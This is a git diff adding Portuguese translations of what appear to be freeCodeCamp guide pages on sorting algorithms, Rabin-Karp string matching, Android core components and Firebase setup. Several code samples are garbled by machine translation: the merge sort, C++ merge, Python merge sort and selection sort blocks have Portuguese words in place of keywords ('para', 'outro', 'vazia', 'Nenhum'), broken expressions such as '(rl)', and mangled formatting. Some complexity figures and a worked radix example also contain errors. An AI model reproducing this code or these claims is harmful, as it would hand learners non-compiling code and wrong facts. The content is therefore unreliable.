+mesclagem vazia (int arr \[\], int l, int m, int r) { int i, j, k; int n1 = m - l + 1; int n2 = r - m;
+```
+int L[n1], R[n2]; 
+ 
+ for (i = 0; i < n1; i++) 
+    L[i] = arr[l + i]; 
+ for (j = 0; j < n2; j++) 
+    R[j] = arr[m + 1+ j]; 
+ i = 0; 
+ j = 0; 
+ k = l; 
+ while (i < n1 && j < n2) 
+ { 
+    if (L[i] <= R[j]) 
+    { 
+        arr[k] = L[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        arr[k] = R[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ 
+ while (i < n1) 
+ { 
+    arr[k] = L[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ while (j < n2) 
+ { 
+    arr[k] = R[j]; 
+    j++; 
+    k++; 
+ } 
+```
+
+}
+
+void mergeSort (int arr \[\], int l, int r) { if (l <r) {  
+int m = l + (rl) / 2;
+```
+    mergeSort(arr, l, m); 
+    mergeSort(arr, m+1, r); 
+ 
+    merge(arr, l, m, r); 
+ } 
+```
+
+} void printArray (int A \[\], tamanho int) { int i; para (i = 0; i <tamanho; i ++) printf ("% d", A \[i\]); printf ("\\ n"); } int main () { int arr \[\] = {12, 11, 13, 5, 6, 7}; int arr\_size = sizeof (arr) / sizeof (arr \[0\]);
+```
+printf("Given array is \n"); 
+ printArray(arr, arr_size); 
+ 
+ mergeSort(arr, 0, arr_size - 1); 
+ 
+ printf("\nSorted array is \n"); 
+ printArray(arr, arr_size); 
+ return 0; 
+```
+
+```
+### Implementation in C++ 
+ 
+ Let us consider array A = {2,5,7,8,9,12,13} 
+ and array B = {3,5,6,9,15} and we want array C to be in ascending order as well. 
+```
+
+c ++ void mergesort (int A \[\], int tamanho _a, int B \[\], int tamanho_ b, int C \[\]) { token int _, token_ b, token _c; para (token_ a = 0, token _b = 0, token_ c = 0; token _a_ _um && token _b__ __b; ) { if (A \[token _a\] <= B \[token_ b\]) C \[token _c ++\] = A \[token_ um ++\]; outro C \[token _c ++\] = B \[token_ b ++\]; }__
+```
+  if(token_a<size_a) 
+  { 
+      while(token_a<size_a) 
+           C[token_c++]=A[token_a++]; 
+  } 
+  else 
+  { 
+      while(token_b<size_b) 
+           C[token_c++]=B[token_b++]; 
+  } 
+```
+
+}
+```
+### Implementation in Python 
+```
+
+python temp = None def merge (arr, esquerda, direita): temp global, inversões mid = (esquerda + direita) // 2 para eu na faixa (esquerda, direita + 1): temp \[i\] = arr \[i\]
+```
+k, L, R = left, left, mid + 1 
+ while L <= mid and R <= right: 
+    if temp[L] <= temp[R]: 
+        arr[k] = temp[L] 
+        L += 1 
+    else: 
+        arr[k] = temp[R] 
+        R += 1 
+    k += 1 
+ 
+ while L <= mid: 
+    arr[k] = temp[L] 
+    L += 1 
+    k += 1 
+ 
+ while R <= right: 
+    arr[k] = temp[R] 
+    R += 1 
+    k += 1 
+```
+
+def merge\_sort (arr, esquerda, direita): se saiu> = certo: Retorna
+```
+mid = (left + right) // 2 
+ merge_sort(arr, left, mid) 
+ merge_sort(arr, mid + 1, right) 
+ merge(arr, left, right) 
+```
+
+arr = \[1,6,3,1,8,4,2,9,3\] temp = \[Nenhum para \_ no intervalo (len (arr))\] merge\_sort (arr, 0, len (arr) - 1) imprimir (arr, inversões) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/quick-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/quick-sort/index.md
new file mode 100644
index 0000000000..827425cf61
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/quick-sort/index.md
@@ -0,0 +1,146 @@
+---
+title: Quick Sort
+localeTitle: Ordenação rápida
+---
+## Ordenação rápida
+
+A classificação rápida é um eficiente algoritmo de divisão e conquista de classificação. A complexidade média de tempo de caso de Classificação Rápida é O (nlog (n)), com complexidade de tempo de pior caso sendo O (n ^ 2).
+
+As etapas envolvidas no Quick Sort são:
+
+*   Escolha um elemento para servir como um pivô; nesse caso, o último elemento da matriz é o pivô.
+*   Particionamento: classifica o array de tal maneira que todos os elementos menores que o pivô estão à esquerda, e todos os elementos maiores que o pivô estão à direita.
+*   Chame o Quicksort recursivamente, levando em consideração o pivô anterior para subdividir corretamente as matrizes esquerda e direita. (Uma explicação mais detalhada pode ser encontrada nos comentários abaixo)
+
+Uma implementação rápida em JavaScript:
+
+```javascript
+const arr = [6, 2, 5, 3, 8, 7, 1, 4] 
+ 
+ const quickSort = (arr, start, end) => { 
+ 
+  if(start < end) { 
+ 
+    // You can learn about how the pivot value is derived in the comments below 
+    let pivot = partition(arr, start, end) 
+ 
+    // Make sure to read the below comments to understand why pivot - 1 and pivot + 1 are used 
+    // These are the recursive calls to quickSort 
+    quickSort(arr, start, pivot - 1) 
+    quickSort(arr, pivot + 1, end) 
+  } 
+ 
+ } 
+ 
+ const partition = (arr, start, end) => { 
+  let pivot = end 
+  // Set i to start - 1 so that it can access the first index in the event that the value at arr[0] is greater than arr[pivot] 
+  // Succeeding comments will expound upon the above comment 
+  let i = start - 1 
+  let j = start 
+ 
+  // Increment j up to the index preceding the pivot 
+  while (j < pivot) { 
+ 
+    // If the value is greater than the pivot increment j 
+    if (arr[j] > arr[pivot]) { 
+      j++ 
+    } 
+ 
+    // When the value at arr[j] is less than the pivot: 
+    // increment i (arr[i] will be a value greater than arr[pivot]) and swap the value at arr[i] and arr[j] 
+    else { 
+      i++ 
+      swap(arr, j, i) 
+      j++ 
+    } 
+ 
+  } 
+ 
+  //The value at arr[i + 1] will be greater than the value of arr[pivot] 
+  swap(arr, i + 1, pivot) 
+ 
+  //You return i + 1, as the values to the left of it are less than arr[i+1], and values to the right are greater than arr[i + 1] 
+  // As such, when the recursive quicksorts are called, the new sub arrays will not include this the previously used pivot value 
+  return i + 1 
+ } 
+ 
+ const swap = (arr, firstIndex, secondIndex) => { 
+  let temp = arr[firstIndex] 
+  arr[firstIndex] = arr[secondIndex] 
+  arr[secondIndex] = temp 
+ } 
+ 
+ quickSort(arr, 0, arr.length - 1) 
+ console.log(arr) 
+```
+
+Uma implementação de classificação rápida em C
+
+```C
+#include<stdio.h> 
+ void swap(int* a, int* b) 
+ { 
+    int t = *a; 
+    *a = *b; 
+    *b = t; 
+ } 
+ int partition (int arr[], int low, int high) 
+ { 
+    int pivot = arr[high]; 
+    int i = (low - 1); 
+ 
+    for (int j = low; j <= high- 1; j++) 
+    { 
+        if (arr[j] <= pivot) 
+        { 
+            i++; 
+            swap(&arr[i], &arr[j]); 
+        } 
+    } 
+    swap(&arr[i + 1], &arr[high]); 
+    return (i + 1); 
+ } 
+ void quickSort(int arr[], int low, int high) 
+ { 
+    if (low < high) 
+    { 
+        int pi = partition(arr, low, high); 
+ 
+        quickSort(arr, low, pi - 1); 
+        quickSort(arr, pi + 1, high); 
+    } 
+ } 
+ 
+ 
+ void printArray(int arr[], int size) 
+ { 
+    int i; 
+    for (i=0; i < size; i++) 
+        printf("%d ", arr[i]); 
+    printf("n"); 
+ } 
+ 
+ 
+ int main() 
+ { 
+    int arr[] = {10, 7, 8, 9, 1, 5}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+    quickSort(arr, 0, n-1); 
+    printf("Sorted array: n"); 
+    printArray(arr, n); 
+    return 0; 
+ } 
+```
+
+A complexidade espacial da ordenação rápida é O (n). Isso é uma melhoria em relação a outros algoritmos de ordenação de divisão e conquista, que ocupam o espaço O (nlong (n)). A classificação rápida consegue isso alterando a ordem dos elementos dentro da matriz especificada. Compare isso com o algoritmo de [classificação de mesclagem](https://guide.freecodecamp.org/algorithms/sorting-algorithms/merge-sort) que cria 2 matrizes, cada comprimento n / 2, em cada chamada de função.
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Quicksort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/quick-sort)
+    
+*   [Youtube: Uma explicação visual do Quicksort](https://www.youtube.com/watch?v=MZaf_9IZCrc)
+    
+*   [Youtube: Gayle Laakmann McDowell (autor de Cracking The Coding Interview) explica os fundamentos do quicksort e mostra algumas implementações](https://www.youtube.com/watch?v=SLauY6PpjW4)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/radix-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/radix-sort/index.md
new file mode 100644
index 0000000000..02857c2acf
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/radix-sort/index.md
@@ -0,0 +1,111 @@
+---
+title: Radix Sort
+localeTitle: Radix Sort
+---
+## Radix Sort
+
+Pré-requisito: contagem de classificação
+
+QuickSort, MergeSort, HeapSort são algoritmos de ordenação baseados em comparação. O CountSort não é um algoritmo baseado em comparação. Tem a complexidade de O (n + k), onde k é o elemento máximo do array de entrada. Então, se k é O (n), CountSort se torna ordenação linear, o que é melhor que algoritmos de ordenação baseados em comparação que possuem complexidade de tempo O (nlogn). A idéia é estender o algoritmo CountSort para obter uma melhor complexidade de tempo quando k for O (n2). Aí vem a ideia do Radix Sort.
+
+Algoritmo:
+
+Para cada dígito i onde i varia do dígito menos significativo para o dígito mais significativo de um número Ordene o array de entrada usando o algoritmo countsort de acordo com o dígito i. Usamos o tipo de contagem porque é um tipo estável.
+
+Exemplo: Suponha que o array de entrada seja:
+
+10,21,17,34,44,11,654,123
+
+Com base no algoritmo, classificaremos a matriz de entrada de acordo com o dígito de um (dígito menos significativo).
+
+0: 10  
+1: 21 11  
+2:  
+3: 123  
+4: 34 44 654  
+5:  
+6:  
+7: 17  
+8:  
+9:  
+
+Então, o array se torna 10,21,11,123,24,44,654,17 Agora, vamos classificar de acordo com o dígito dos dez:
+
+0:  
+1: 10 11 17  
+2: 21 123  
+3: 34  
+4: 44  
+5: 654  
+6:  
+7:  
+8:  
+9:
+
+Agora, o array se torna: 10,11,17,21,123,34,44,654 Finalmente, classificamos de acordo com o dígito da centena (dígito mais significativo):
+
+0: 010 011 017 021 034 044  
+1: 123  
+2:  
+3:  
+4:  
+5:  
+6: 654  
+7:  
+8:  
+9:
+
+A matriz torna-se: 10,11,17,21,34,44,123,654 que é classificada. É assim que nosso algoritmo funciona.
+
+Uma implementação em C:
+```
+void countsort(int arr[],int n,int place){ 
+ 
+        int i,freq[range]={0};         //range for integers is 10 as digits range from 0-9 
+ 
+        int output[n]; 
+ 
+        for(i=0;i<n;i++) 
+ 
+                freq[(arr[i]/place)%range]++; 
+ 
+        for(i=1;i<range;i++) 
+ 
+                freq[i]+=freq[i-1]; 
+ 
+        for(i=n-1;i>=0;i--){ 
+ 
+                output[freq[(arr[i]/place)%range]-1]=arr[i]; 
+ 
+                freq[(arr[i]/place)%range]--; 
+ 
+        } 
+ 
+        for(i=0;i<n;i++) 
+ 
+                arr[i]=output[i]; 
+ 
+ } 
+ 
+ void radixsort(ll arr[],int n,int maxx){            //maxx is the maximum element in the array 
+ 
+        int mul=1; 
+ 
+        while(maxx){ 
+ 
+                countsort(arr,n,mul); 
+ 
+                mul*=10; 
+ 
+                maxx/=10; 
+ 
+        } 
+ 
+ } 
+```
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Radix_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/radix-sort/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/selection-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/selection-sort/index.md
new file mode 100644
index 0000000000..2d2b6d33b5
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/selection-sort/index.md
@@ -0,0 +1,67 @@
+---
+title: Selection Sort
+localeTitle: Seleção de seleção
+---
+## Seleção de seleção
+
+A seleção de classificação é um dos algoritmos de classificação mais simples. Funciona da seguinte maneira,
+
+1.  Encontre o menor elemento. Troque com o primeiro elemento.
+2.  Encontre o segundo menor elemento. Troque com o segundo elemento.
+3.  Encontre o terceiro menor elemento. Troque com o terceiro elemento.
+4.  Repita encontrando o próximo elemento menor e trocando-o para a posição correta correspondente até que o array esteja classificado.
+
+Como você pode imaginar, esse algoritmo é chamado de Seleção de Seleção porque seleciona repetidamente o próximo elemento menor e o troca para o seu lugar.
+
+Mas, como você escreveria o código para encontrar o índice do segundo menor valor em uma matriz?
+
+*   Uma maneira fácil é notar que o menor valor já foi trocado para o índice 0, então o problema se reduz a encontrar o menor elemento na matriz, começando no índice 1.
+
+### Implementação em C / C ++
+
+```C
+for(int i = 0; i < n; i++) 
+ { 
+    int min_index = i; 
+    int min_element = a[i]; 
+ 
+    for(int j = i +1; j < n; j++) 
+    { 
+        if(a[j] < min_element) 
+        { 
+            min_element = a[j]; 
+            min_index = j; 
+        } 
+    } 
+ 
+    swap(&a[i], &a[min_index]); 
+ } 
+```
+
+### Implementação em Javascript
+
+\`\` \`Javascript seleção de função _sort (A) { var len =_ comprimento do _array_ (A); para (var i = 0; i <len - 1; i = i + 1) { var j _min = i; para (var j = i + 1; j <len; j = j + 1) { if (A \[j\] <A \[j_ min\]) { j _min = j; } outro {} } if (j_ min! == i) { trocar (A, i, j\_min); } outro {} } }
+
+troca de funções (A, x, y) { var temp = A \[x\]; A \[x\] = A \[y\]; A \[y\] = temp; }
+```
+### Implementation in Python 
+```
+
+python _sort de_ seleção de def _(arr): se não for: return arr para eu na faixa (len (arr)): min_ i = i para j no intervalo (i + 1, len (arr)): se arr \[j\] <arr \[min _i\]: min_ i = j arr \[i\], arr \[min _i\] = arr \[min_ i\], arr \[i\] \`\` \`
+
+### Propriedades
+
+*   Complexidade do espaço: **O (n)**
+*   Complexidade do Tempo: **O (n 2 )**
+*   Ordenando no Lugar: **Sim**
+*   Estável: **não**
+
+### Visualização
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/selection-sort/visualize/)
+
+### Referências
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Selection_sort)
+*   [KhanAcademy](https://www.khanacademy.org/computing/computer-science/algorithms#sorting-algorithms)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/timsort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/timsort/index.md
new file mode 100644
index 0000000000..755b7156b8
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/timsort/index.md
@@ -0,0 +1,112 @@
+---
+title: Timsort
+localeTitle: Timsort
+---
+## Timsort
+
+O Timsort é um algoritmo de classificação rápida que trabalha na complexidade estável de O (N log (N))
+
+Timsort é uma mistura em Insertion Sort e Mergesort. Esse algoritmo é implementado no Arrays.sort () do Java, bem como no class () e no sort () do Python. A parte menor é classificada usando Insertion Sort e é posteriormente mesclada usando o Mergesort.
+
+Uma implementação rápida em Python:
+```
+def binary_search(the_array, item, start, end): 
+    if start == end: 
+        if the_array[start] > item: 
+            return start 
+        else: 
+            return start + 1 
+    if start > end: 
+        return start 
+ 
+    mid = round((start + end)/ 2) 
+ 
+    if the_array[mid] < item: 
+        return binary_search(the_array, item, mid + 1, end) 
+ 
+    elif the_array[mid] > item: 
+        return binary_search(the_array, item, start, mid - 1) 
+ 
+    else: 
+        return mid 
+ 
+ """ 
+ Insertion sort that timsort uses if the array size is small or if 
+ the size of the "run" is small 
+ """ 
+ def insertion_sort(the_array): 
+    l = len(the_array) 
+    for index in range(1, l): 
+        value = the_array[index] 
+        pos = binary_search(the_array, value, 0, index - 1) 
+        the_array = the_array[:pos] + [value] + the_array[pos:index] + the_array[index+1:] 
+    return the_array 
+ 
+ def merge(left, right): 
+    """Takes two sorted lists and returns a single sorted list by comparing the 
+    elements one at a time. 
+    [1, 2, 3, 4, 5, 6] 
+    """ 
+    if not left: 
+        return right 
+    if not right: 
+        return left 
+    if left[0] < right[0]: 
+        return [left[0]] + merge(left[1:], right) 
+    return [right[0]] + merge(left, right[1:]) 
+ 
+ def timsort(the_array): 
+    runs, sorted_runs = [], [] 
+    length = len(the_array) 
+    new_run = [the_array[0]] 
+ 
+    # for every i in the range of 1 to length of array 
+    for i in range(1, length): 
+        # if i is at the end of the list 
+        if i == length - 1: 
+            new_run.append(the_array[i]) 
+            runs.append(new_run) 
+            break 
+        # if the i'th element of the array is less than the one before it 
+        if the_array[i] < the_array[i-1]: 
+            # if new_run is set to None (NULL) 
+            if not new_run: 
+                runs.append([the_array[i]]) 
+                new_run.append(the_array[i]) 
+            else: 
+                runs.append(new_run) 
+                new_run = [] 
+        # else if its equal to or more than 
+        else: 
+            new_run.append(the_array[i]) 
+ 
+    # for every item in runs, append it using insertion sort 
+    for item in runs: 
+        sorted_runs.append(insertion_sort(item)) 
+ 
+    # for every run in sorted_runs, merge them 
+    sorted_array = [] 
+    for run in sorted_runs: 
+        sorted_array = merge(sorted_array, run) 
+ 
+    print(sorted_array) 
+ 
+ timsort([2, 3, 1, 5, 6, 7]) 
+```
+
+#### Complexidade:
+
+O Tim Sort tem uma Complexidade estável de O (N log (N)) e compara muito bem com o Quicksort. Um comaprison de complexidades pode ser encontrado neste [gráfico](https://cdn-images-1.medium.com/max/1600/1*1CkG3c4mZGswDShAV9eHbQ.png)
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Timsort)
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/timsort/)
+    
+*   [Youtube: Uma explicação visual do Quicksort](https://www.youtube.com/watch?v=jVXsjswWo44)
+    
+
+#### Créditos:
+
+[Implementação Python](https://hackernoon.com/timsort-the-fastest-sorting-algorithm-youve-never-heard-of-36b28417f399)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md b/client/src/guide/portuguese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
new file mode 100644
index 0000000000..e1b48ef8ca
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/string-matching-algorithms/rabin-karp-algorithm/index.md
@@ -0,0 +1,46 @@
+---
+title: Rabin Karp Algorithm
+localeTitle: Algoritmo de Rabin Karp
+---
+## Algoritmo de Rabin-Karp
+
+*   Um algoritmo de correspondência / busca de strings desenvolvido por Michael O. Rabin e Richard M. Karp.
+*   Usa técnicas de **_hashing_** e **_força bruta_** para comparação.
+
+#### Termos importantes
+
+*   **_pattern_** é a string a ser pesquisada. Considere o comprimento do padrão como **_M_** caracteres.
+*   **_text_** é todo o texto do qual o padrão deve ser pesquisado. Considere o tamanho do texto como **_N_** caracteres.
+
+#### O que é comparação de força bruta?
+
+Na comparação de força bruta, cada caractere de padrão é comparado com cada caractere de texto, até que caracteres não correspondentes sejam encontrados.
+
+#### Trabalhando no Algoritmo Rabin-Karp
+
+1.  Calcular o valor de hash do _padrão_
+2.  Calcular o valor de hash dos primeiros _M_ caracteres do _texto_
+3.  Compare os dois valores de hash
+4.  Se forem desiguais, calcule o valor de hash para os próximos _M_ caracteres do _texto_ e compare novamente.
+5.  Se eles forem iguais, faça uma comparação de força bruta.
+```
+hash_p = hash value of pattern 
+ hash_t = hash value of first M letters in body of text 
+ do 
+    if (hash_p == hash_t) 
+        brute force comparison of pattern and selected section of text 
+    hash_t= hash value of next section of text, one character over 
+ while (end of text or brute force comparison == true) 
+```
+
+#### Vantagem sobre Algoritmo de Correspondência de Cordas Naive
+
+Essa técnica resulta em apenas uma comparação por subseqüência de texto e a força bruta é necessária apenas quando os valores de hash coincidem.
+
+#### Aplicações
+
+*   **_Detecção de plágio_**
+
+#### Mais Informações:
+
+[Rabin-Karp na Wikipédia](https://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_algorithm/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/android-development/core-components/index.md b/client/src/guide/portuguese/android-development/core-components/index.md
new file mode 100644
index 0000000000..6a1a1f1c42
--- /dev/null
+++ b/client/src/guide/portuguese/android-development/core-components/index.md
@@ -0,0 +1,32 @@
+---
+title: Android core components
+localeTitle: Componentes principais do Android
+---
# Componentes principais do Android
+
+Os componentes principais são os elementos essenciais dos quais um aplicativo para o Android consiste. Cada um deles tem seu próprio propósito e ciclo de vida, mas nem todos são independentes. Eles são:
+
+*   actividades
+*   Serviços
+*   Receptores de radiodifusão
+*   Provedores de conteúdo
+
+## [actividades](https://developer.android.com/guide/components/activities/)
+
+Uma _atividade_ é um componente que possui uma interface de usuário e representa uma única tela. Um aplicativo pode ter várias atividades, cada uma delas pode ser um ponto de entrada para o próprio aplicativo para o usuário ou o sistema (uma atividade do aplicativo que deseja abrir outra atividade que pertença ao mesmo aplicativo ou a outra diferente).
+
+## [Serviços](https://developer.android.com/guide/components/services)
+
+Um _serviço_ é um componente sem interface de usuário para executar operações de longa duração em segundo plano. Existem dois tipos de serviços:
+
+*   serviços de _primeiro plano_ : eles estão estritamente relacionados à interação do usuário (por exemplo, reprodução de música), por isso é mais difícil para o sistema eliminá-los.
+*   serviços de _segundo plano_ : eles não estão diretamente relacionados às atividades do usuário, então eles podem ser mortos se mais RAM for necessária.
+
+## [Receptores de radiodifusão](https://developer.android.com/guide/components/broadcasts)
+
+Um _receptor de difusão_ é outro componente sem interface de usuário (exceto uma notificação de barra de status opcional) que permite ao sistema entregar eventos de / para o aplicativo, mesmo quando este não foi lançado anteriormente.
+
+## [Provedores de conteúdo](https://developer.android.com/guide/topics/providers/content-providers)
+
+Um _provedor de conteúdo_ é um componente usado para gerenciar um conjunto de dados do aplicativo para compartilhar com outros aplicativos. Cada item salvo no provedor de conteúdo é identificado por um esquema de URI.
+
+Para obter informações detalhadas sobre o tópico, consulte a documentação oficial dos [fundamentos do Android](https://developer.android.com/guide/components/fundamentals) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/android-development/firebase/connect-to-firebase/index.md b/client/src/guide/portuguese/android-development/firebase/connect-to-firebase/index.md
new file mode 100644
index 0000000000..542497b151
--- /dev/null
+++ b/client/src/guide/portuguese/android-development/firebase/connect-to-firebase/index.md
@@ -0,0 +1,40 @@
+---
+title: connecting-to-firebase
+localeTitle: conexão para firebase
+---
+# Pré-requisitos
+
+1.  A versão mais recente do Android Studio
+
+A maneira mais fácil de se conectar ao Firebase é usar o assistente do Firebase.
+
+# 1\. Conectando usando o Firebase Assistant
+
+1.  Crie uma conta no [Firebase Console](https://console.firebase.google.com) . Clique em adicionar projeto para adicionar seu projeto do Android Studio a ele.
+    
+2.  Instalar o Repositório do Google Você pode fazer isso adicionando a dependência em seu arquivo build.gradle no nível do projeto da seguinte forma:
+    
+
+```java
+allprojects{ 
+  repositories { 
+        maven { 
+            url "https://maven.google.com" // Google's Maven repository 
+        } 
+    } 
+ } 
+```
+
+Alternativamente, você poderia fazer isso [usando a GUI](https://developer.android.com/studio/write/firebase) .
+
+3.  Vá para Ferramentas> Firebase e selecione Conectar ao Firebase
+
+Se você deseja se conectar ao firebase manualmente, instruções detalhadas estão disponíveis [aqui](https://firebase.google.com/docs/android/setup) . Ao conectar seu projeto do Android Studio ao Firebase, você pode
+
+1.  clique em um produto no assistente do Firebase e leve-o aos documentos do Google, onde será informado sobre como proceder
+2.  vá até o produto desejado em **Visão Geral do Projeto** no Console e clique em **Começar**
+3.  acesse os [documentos](https://www.firebase.com/docs/android/quickstart.html) do [Firebase](https://www.firebase.com/docs/android/quickstart.html) para ver como configurar produtos individuais em seu projeto
+
+A leitura de uma combinação dos três permitirá que você configure o produto, o que inclui a adição de dependências adequadas ao seu arquivo build.gradle.
+
+**Se você encontrar Gradle Sync** Tente alterar a versão do Firebase-core ou a versão do banco de dados do Firebase
\ No newline at end of file
diff --git a/client/src/guide/portuguese/android-development/firebase/firebase-storage/setup/index.md b/client/src/guide/portuguese/android-development/firebase/firebase-storage/setup/index.md
new file mode 100644
index 0000000000..484659ab4a
--- /dev/null
+++ b/client/src/guide/portuguese/android-development/firebase/firebase-storage/setup/index.md
@@ -0,0 +1,51 @@
+---
+title: Setting up Firebase Storage
+localeTitle: Configurando o Firebase Storage
+---
+# Configurando o Firebase Storage
+
+## Pré-requisitos
+
+1.  A versão mais recente do Android Studio
+2.  Conecte-se ao Firebase manualmente ou por meio do Firebase Assistant (consulte [Conexão ao Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ).
+
+É recomendável que você faça isso para não ser confundido com instruções parciais relacionadas a isso nos documentos mencionados abaixo.
+
+## Configurando com o Android Studio
+
+Depois de adicionar o Firebase ao seu projeto, você precisará adicionar dependências extras e fazer algumas outras coisas para configurar o Firebase Storage. Há a seguinte documentação sobre isso:
+
+*   [Firebase](https://firebase.google.com/docs/storage/android/start)
+
+Pode haver possibilidade de confusão nessa documentação ou se você é novo no firebase, então pode ser um pouco difícil entendê-lo. Então siga os passos abaixo cuidadosamente:
+
+**Adicionar dependências Gradle**
+
+No seu arquivo build.gradle no nível do aplicativo, adicione o seguinte
+
+```java
+dependencies { 
+    implementation 'com.google.firebase:firebase-storage:16.0.2' 
+ } 
+```
+
+## Instalação do Firebase Android SDK, permissões e código de configuração
+
+Instruções detalhadas para estas podem ser encontradas [aqui](https://firebase.google.com/docs/android/setup) .
+
+## Recursos
+
+Para saber mais sobre como ler e gravar no armazenamento em seu aplicativo Android, consulte os documentos listados abaixo.
+
+*   [Carregar arquivos do Android Guia do Firebase](https://firebase.google.com/docs/storage/android/upload-files)
+    
+*   [Download de arquivos para o Android Guia do Firebase](https://firebase.google.com/docs/storage/android/download-files)
+    
+
+## Projetos de amostra dos desenvolvedores do Firebase
+
+Você pode acompanhar essas amostras de desenvolvedores do Firebase para iniciar o armazenamento do Firebase Android [\-amostra do](https://github.com/firebase/quickstart-android/tree/master/storage) Firebase Quickstart-Android
+
+## Nota
+
+Google agora depreciado 'compilar' e no lugar de que você precisa usar 'implementação'.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/android-development/firebase/realtime-database/setup/index.md b/client/src/guide/portuguese/android-development/firebase/realtime-database/setup/index.md
new file mode 100644
index 0000000000..78224bb9d3
--- /dev/null
+++ b/client/src/guide/portuguese/android-development/firebase/realtime-database/setup/index.md
@@ -0,0 +1,43 @@
+---
+title: Setting up Firebase Realtime Database
+localeTitle: Configurando o Firebase Realtime Database
+---
+# Pré-requisitos
+
+1.  A versão mais recente do Android Studio
+2.  Conecte-se ao Firebase manualmente ou por meio do Firebase Assistant (consulte [Conexão ao Firebase](guide/src/pages/android-development/firebase/connecting-to-firebase) ). É recomendável que você faça isso para não ser confundido com instruções parciais relacionadas a isso nos documentos mencionados abaixo.
+
+# Configurando com o Android Studio
+
+Depois de adicionar o Firebase ao seu projeto, você precisará adicionar dependências extras e fazer algumas outras coisas para configurar o banco de dados em tempo real. Existem duas documentações sobre isso:
+
+1.  Firebase quickstart [docs](https://www.firebase.com/docs/android/quickstart.html)
+2.  Google [docs](https://firebase.google.com/docs/database/android/start/)
+
+Existem algumas discrepâncias entre os dois. Para compensar isso, você pode seguir os documentos do Firebase, mas, em vez de usar apenas as dependências do gradle listadas, use a lista a seguir. Dessa forma, você não perderá nenhuma etapa da documentação.
+
+**Adicionar Dependências Gradle** 1 No seu arquivo build.gradle no nível do aplicativo, adicione o seguinte
+
+```java
+dependencies { 
+    implementation 'com.firebase:firebase-client-android:2.5.2+' 
+    implementation 'com.google.firebase:firebase-database:15.0.0' 
+ } 
+```
+
+# Instalação do Firebase Android SDK, permissões e código de configuração
+
+Instruções detalhadas para estas podem ser encontradas [aqui](https://www.firebase.com/docs/android/quickstart.html) .
+
+# Recursos
+
+Para aprender sobre como ler e gravar no banco de dados em seu aplicativo Android, consulte os dois documentos listados em Referências. Você também pode descobrir como usar os produtos do Firebase na documentação do Google, mas provavelmente é uma boa ideia consultar também os documentos do Firebase ou qualquer coisa que possa ser útil.
+
+# Referências
+
+*   FIREBASE, _Android Quickstart_ , 17/04/2018, 07/05/2018, https://www.firebase.com/docs/android/quickstart.html
+*   GOOGLE, _Configurar Firebase Realtime Database para Android_ , 04/05/2018, 07/05/2018, https://firebase.google.com/docs/database/android/start/
+
+# Nota de rodapé
+
+A primeira linha vem dos [documentos](https://www.firebase.com/docs/android/quickstart.html) do Firebase sobre como configurar o banco de dados em tempo real no Android Studio. Nos docs, 'compile' é usado, mas é obsoleto e substituído por 'implementação'. A segunda linha vem dos [documentos](https://firebase.google.com/docs/database/android/start/) do Google sobre a configuração do banco de dados em tempo real no Android Studio. Se for realmente redundante adicionar ambos, corrija este artigo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/android-development/index.md b/client/src/guide/portuguese/android-development/index.md
new file mode 100644
index 0000000000..bb2757cc1e
--- /dev/null
+++ b/client/src/guide/portuguese/android-development/index.md
@@ -0,0 +1,63 @@
+---
+title: Android Development
+localeTitle: Desenvolvimento Android
+---
+# Desenvolvimento Android
+
+Os aplicativos para Android podem ser uma ótima maneira divertida de entrar no mundo da programação. Oficialmente os programadores podem usar Java, Kotlin ou C ++ para desenvolver para Android, e embora possa haver restrições API, usando ferramentas, os desenvolvedores podem usar um grande número de idiomas, incluindo JavaScript, C ou assembly, e as possibilidades são infinitas.
+
+Desde jogos simples e aplicativos de utilitários até players de música completos, há muitas oportunidades para criar algo significativo com o Android. A comunidade de desenvolvedores do Android é muito difundida, e a documentação e os recursos on-line são fáceis de encontrar, para que você possa enfrentar qualquer problema que esteja enfrentando.
+
+Há definitivamente uma curva de aprendizado para se acostumar com o framework Android, no entanto, uma vez que você entenda os principais componentes que compõem o aplicativo, o resto virá naturalmente.
+
+A curva de aprendizado envolvida no Android tem uma inclinação relativamente menor em comparação com o aprendizado de outras tecnologias, como o NodeJS. Também é relativamente mais fácil de entender e fazer contribuições para o AOSP hospedado pelo Google. O projeto pode ser encontrado [aqui](https://source.android.com/)
+
+## Começando
+
